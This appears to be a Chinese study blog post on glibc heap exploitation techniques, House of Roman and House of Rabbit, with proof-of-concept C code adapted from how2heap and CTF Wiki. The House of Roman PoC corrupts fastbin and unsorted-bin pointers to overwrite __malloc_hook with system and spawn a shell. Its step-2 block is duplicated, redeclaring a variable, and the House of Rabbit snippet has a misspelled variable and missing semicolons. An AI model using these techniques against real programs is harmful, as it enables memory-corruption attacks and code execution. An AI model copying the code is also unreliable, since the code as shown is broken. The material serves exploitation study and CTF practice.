House of Roman
参考看雪上的这篇关于House of Roman的讲解 ,这个攻击看起来似乎可能比较实用?
glibc 2.29后Unsorted bin attack无法使用,添加了新的检查。且glibc 2.34后移除了__malloc_hook()。这个攻击大致分为以下几个步骤:
分配一个在malloc_hook附近的chunk,通过一个fastbin的double free或者是什么别的实现。总之最终我们要拥有一个fd内容为malloc_hook-0x23
的chunk。然后将这个幻象chunk申请出来。这一步结束的时候我们可以控制malloc_hook附近的内存就可以了。
笔者为了方便理解,把那些我们精心伪造了结构的内存空间叫做fake_chunk,而那些其实本来并不可利用的,没有“真正”chunk的内存分配成为幻象chunk。
用unsorted bin attack攻击,在(1)中我们泄露了malloc_hook,用unsorted bin attack将malloc_hook写为main_arena+0x68/0x96,whatever.
利用1中我们获得的chunk,爆破/写对应的低位,写为one_gadget或system,最后调用malloc(“/bin/sh”)。总体来讲,它的本质思路是通过*某种手段(house of roman为fastbin+unsorted bin+堆风水)*获取一个malloc_hook附近的chunk,然后通过unsortedbin attack改写malloc_hook后爆破低位地址拿到shell。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <malloc.h> #include <dlfcn.h> char * shell = "/bin/sh\x00" ;void * init () { setvbuf(stdout , NULL , _IONBF, 0 ); setvbuf(stdin , NULL , _IONBF, 0 ); } int main () { char * introduction = "\n欢迎来到罗马之家\n\n" "这是一种无泄漏的堆利用技术。\n" "攻击分为三个阶段:\n\n" "1. 将fastbin块指向__malloc_hook。\n" "2. 对__malloc_hook运行未排序的bin攻击。\n" "3. 在__malloc_hook处对main_arena进行相对覆写。\n\n" "上述所有内容都是使用两个主要概念完成的:相对覆写和堆风水。\n\n" "然而,这种技术是有代价的:需要暴力破解12位的熵。\n" "这意味着这种技术只有在每4096次尝试中成功一次,即0.02%的概率。\n" "**注意**:为了这个漏洞的目的,我们设置了随机值以使其保持一致。\n\n\n" ; puts (introduction); init(); puts ("第1步:将fastbin块指向__malloc_hook\n\n" ); puts ("使用堆风水设置相对覆写的块。\n" ); uint8_t * fastbin_victim = malloc (0x60 ); malloc (0x80 ); uint8_t * main_arena_use = malloc (0x80 ); uint8_t * relative_offset_heap = malloc (0x60 ); free (main_arena_use); puts ("分配一个块,其中包含指向LibC main_arena的指针。\n" ); uint8_t * fake_libc_chunk = malloc (0x60 ); long long __malloc_hook = ((long *)fake_libc_chunk)[0 ] - 0xe8 ; free (relative_offset_heap); free (fastbin_victim); puts ("\ 覆写堆块的第一个字节,以将fastbin块指向具有LibC地址的块\n" ); puts ("\ fastbin 0x70现在如下所示:\n\ heap_addr -> heap_addr2 -> LibC_main_arena\n" ); fastbin_victim[0 ] = 0x00 ; puts ("\ 在fastbin中使用相对覆写将main_arena指针指向附近的位置,以创建一个伪fastbin块\n" ); long long __malloc_hook_adjust = __malloc_hook - 0x23 ; int8_t byte1 = (__malloc_hook_adjust) & 0xff ; int8_t byte2 = (__malloc_hook_adjust & 0xff00 ) >> 8 ; fake_libc_chunk[0 ] = byte1; fake_libc_chunk[1 ] = byte2; puts ("获取指向__malloc_hook附近的伪块\n" ); puts ("\ 在真正的攻击中,这将在15/16次中失败\n\ 因为malloc_hook的最后半字节是随机的\n" ); malloc (0x60 ); malloc (0x60 ); uint8_t * malloc_hook_chunk = malloc (0x60 ); puts ("通过第1步 =)\n\n\n" ); puts ("\ 开始第2步:未排序的bin攻击\n\n\ 未排序的bin攻击使我们能够将大值写入到任何位置。但是,我们无法控制该值。该值始终为main_arena + 0x68。\n\ 我们将将未排序的bin攻击指向__malloc_hook,以进行稍后的相对覆写。\n" ); uint8_t * unsorted_bin_ptr = malloc (0x80 ); malloc (0x30 ); puts ("将块放入unsorted_bin中\n" ); free (unsorted_bin_ptr); __malloc_hook_adjust = __malloc_hook - 0x10 ; byte1 = (__malloc_hook_adjust) & 0xff ; byte2 = (__malloc_hook_adjust & 0xff00 ) >> 8 ; puts ("覆写块的最后两个字节,以指向__malloc_hook\n" ); unsorted_bin_ptr[8 ] = byte1; unsorted_bin_ptr[9 ] = byte2; puts ("\ 开始第2步:未排序的bin攻击\n\n\ 未排序的bin攻击使我们能够将大值写入到任何位置。但是,我们无法控制该值。该值始终为main_arena + 0x68。\n\ 我们将将未排序的bin攻击指向__malloc_hook,以进行稍后的相对覆写。\n" ); uint8_t * unsorted_bin_ptr = malloc (0x80 ); malloc (0x30 ); puts ("将块放入未排序的bin中\n" ); free (unsorted_bin_ptr); __malloc_hook_adjust = __malloc_hook - 0x10 ; byte1 = (__malloc_hook_adjust) & 0xff ; byte2 = (__malloc_hook_adjust & 0xff00 ) >> 8 ; puts ("覆写块的最后两个字节,以指向__malloc_hook\n" ); unsorted_bin_ptr[8 ] = byte1; unsorted_bin_ptr[9 ] = byte2; puts ("触发未排序的bin攻击\n" ); malloc (0x80 ); long long system_addr = (long long )dlsym(RTLD_NEXT, "system" ); puts ("通过第2步 =)\n\n\n" ); puts ("第3步:将__malloc_hook设置为system/one_gadget\n\n" ); puts ("\ 现在,我们在__malloc_hook中有一个指向LibC的指针(来自第2步)\n\ 我们可以使用相对覆写将其指向system或one_gadget。\n\ 注意:在实际攻击中,这将是最后8位的暴力破解的位置。\n" ); malloc_hook_chunk[19 ] = system_addr & 0xff ; malloc_hook_chunk[20 ] = (system_addr >> 8 ) & 0xff ; malloc_hook_chunk[21 ] = (system_addr >> 16 ) & 0xff ; malloc_hook_chunk[22 ] = (system_addr >> 24 ) & 0xff ; puts ("弹出Shell!" ); malloc ((long long )shell); }
完整看完之后感觉按这个poc的流程不是非常实用(需要大量的堆风水,pwn手都是人肉内存分配器是吧)。实战可能会好一些。思路本质比较好理解,整个poc个人感觉最抽象的部分是第一步的堆风水。复杂的这些堆排布最终实现的目的是只通过malloc和free获得一个malloc_hook附近的堆块。
在堆非常干净的情况下,作者是这么操作的,可以借助这个例子了解一下堆风水:
拿一个0x60的fastbin chunk 1(实际大小0x70)
分配一个不用的chunk,大小0x80,实际大小0x90,此时相对堆基址的偏移来到了0x100,这灵性的一步是为了待会我们改一个字节就能修改指针指向的chunk
分配一个0x80的chunk 2,等会放入unsorted bin
分配一个0x60的fastbin chunk 3,该chunk的偏移地址来到了0x190
释放chunk2,放入unsorted bin,此时其fd和bk存有main_arena+0x68
取0x60大小的chunk4(fake_libc_chunk),会从chunk2中进行分割,带有main_arena地址
读取取出的chunk4,泄露main_arena地址然后计算偏移获取malloc_hook
释放chunk3,放入fastbin
释放chunk1,接入fastbin链表头,其fd指向chunk3(0x190)
模拟一个UAF,写chunk1的fd一字节0x00将其fd指向0x100的chunk2(chunk 4)
写chunk4,修改低位地址令其fd指向目标地址
最后将fastbin中的chunk1和3取出,再次取就取到了malloc_hook-0x23处的chunk
参考代码中如下注释:
这个例子后面部分不再多解释,这个poc前面的堆风水操作是冲着“尽可能少的爆破字节”进行设计的,针对我们没有任何地址泄露的情况使用。
House of Rabbit
How2heap里没有,看CTF Wiki看到的,思路比较简单,就跟着放在这里。
fastbin分配的时候对size的检查很严,但在调用malloc_consolidate()
的时候反而一点都没检查size。因此这个漏洞主要实现的是通过篡改fastbin的size或fd,通过consolidate将我们伪造的chunk简单合法的放入bin中。下面放ctfwiki上的两个简单poc
POC
修改size
1 2 3 4 5 6 7 8 9 unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x40 ); malloc (0x10 );free (chunk1);free (chunk2);chunk1[-1 ]=0xa1 ; malloc (0x1000 );
修改fd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x100 );chunk2[1 ]=0x31 ; chunk2[7 ]=0x21 chunk2[11 ]=0x21 free (chunk1);chuck1[0 ]=0x602060 ; malloc (5000 );
只要惦记着malloc_consolidate可能就够了吧。